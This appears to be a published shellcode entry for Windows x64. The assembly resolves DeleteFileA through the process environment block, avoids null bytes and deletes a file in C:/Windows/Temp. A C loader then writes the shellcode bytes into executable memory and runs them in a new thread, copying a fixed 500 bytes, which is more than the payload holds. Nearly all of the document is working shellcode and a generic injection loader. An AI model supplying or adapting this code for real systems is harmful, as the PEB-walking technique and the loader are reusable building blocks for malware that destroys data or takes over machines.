; Name: Windows/x64 - Delete File shellcode / Dynamic PEB method null-free Shellcode
; Author: Nayani
; Date: 22/04/2023
; Tested on: Microsoft Windows [Version	10.0.22621 Build 22621]


; Description: 

; This an implementation of DeleteFileA Windows api to delete a file in the C:/Windows/Temp/ directory. 
; To test this code create a file: 
; echo "test" >> C:/Windows/Temp/test.txt 
; and then execute the shellcode 
; This code uses PEB to resolve kernel32 and find the DeleteFileA function. 







sub rsp, 28h
and rsp, 0fffffffffffffff0h

xor rdi, rdi            
mul rdi                 
mov r9, gs:[rax+0x60]  
mov r9, [r9+0x18]     
mov r9, [r9+0x20]     
mov r9, [r9]          
mov r9, [r9]          
mov r9, [r9+0x20]     
mov r8, r9             

; Get kernel32.dll ExportTable Address
mov r9d, [r9+0x3C]     
add r9, r8             
xor rcx, rcx            
add cx, 0x88ff
shr rcx, 0x8            
mov edx, [r9+rcx]      
add rdx, r8             

; Get &AddressTable from Kernel32.dll ExportTable
xor r10, r10
mov r10d, [rdx+0x1C]    
add r10, r8             

; Get &NamePointerTable from Kernel32.dll ExportTable
xor r11, r11
mov r11d, [rdx+0x20]    
add r11, r8             

; Get &OrdinalTable from Kernel32.dll ExportTable
xor r12, r12
mov r12d, [rdx+0x24]    
add r12, r8             

jmp short name_api


getaddr:
pop r9                
pop rcx                 
xor rax, rax            
mov rdx, rsp             
push rcx                
check_loop:
mov rcx, [rsp]          
xor rdi,rdi             
mov edi, [r11+rax*4]    
add rdi, r8             
mov rsi, rdx            
repe cmpsb              
je resolver           
incloop:
inc rax
jmp short check_loop


resolver:
pop rcx                 
mov ax, [r12+rax*2]    
mov eax, [r10+rax*4]   
add rax, r8            
push r9               
ret                    

name_api:                   

; DeleteFileA

xor rcx, rcx
add cl, 0xC                 
mov rax, 0x41656CFFFFFFFFFF		;leA
shr rax, 40
push rax
mov rax, 0x69466574656C6544		;DeleteFi
push rax
push rcx                    
call getaddr             
mov r14, rax                

; Bool DeleteFileA(
;   LPCSTR lpFileName
; );

xor rcx, rcx
mul rcx                     
push rax                    

mov rax, 0x7478742E74736574
push rax
mov rax, 0x2F706D65542F7377 ; ws/temp 
push rax
mov rax, 0x6F646E69572F3A43 ; c:/Windo
push rax                    ; RSP = "test.txt"
mov rcx, rsp                ; RCX = "test.txt"
sub rsp, 0x20               
call r14                    ;Delete File in C:/Windows/Temp/test.txt 
add rsp, 0x20


[!]===================================== POC ========================================= [!]

#include <windows.h>


void main() {

  void* exec;
  BOOL rv;
  HANDLE th;
  DWORD oldprotect = 0;
  
  
  unsigned char payload[] = "\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xff\x48\xf7\xe7\x65\x4c\x8b\x48\x60\x4d\x8b\x49\x18\x4d\x8b\x49\x20\x4d\x8b\x09\x4d\x8b\x09\x4d\x8b\x49\x20\x4d\x89\xc8\x45\x8b\x49\x3c\x4d\x01\xc1\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x41\x8b\x14\x09\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x34\x41\x59\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04\x82\x4c\x01\xc0\x41\x51\xc3\x48\x31\xc9\x80\xc1\x0c\x48\xb8\xff\xff\xff\xff\xff\x6c\x65\x41\x48\xc1\xe8\x28\x50\x48\xb8\x44\x65\x6c\x65\x74\x65\x46\x69\x50\x51\xe8\xa6\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x74\x65\x73\x74\x2e\x74\x78\x74\x50\x48\xb8\x77\x73\x2f\x54\x65\x6d\x70\x2f\x50\x48\xb8\x43\x3a\x2f\x57\x69\x6e\x64\x6f\x50\x48\x89\xe1\x48\x83\xec\x20\x41\xff\xd6\x48\x83\xc4\x20";
    
    
  unsigned int payload_len = 500;
  exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  RtlMoveMemory(exec, payload, payload_len);
  rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
  th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
  WaitForSingleObject(th, -1);

}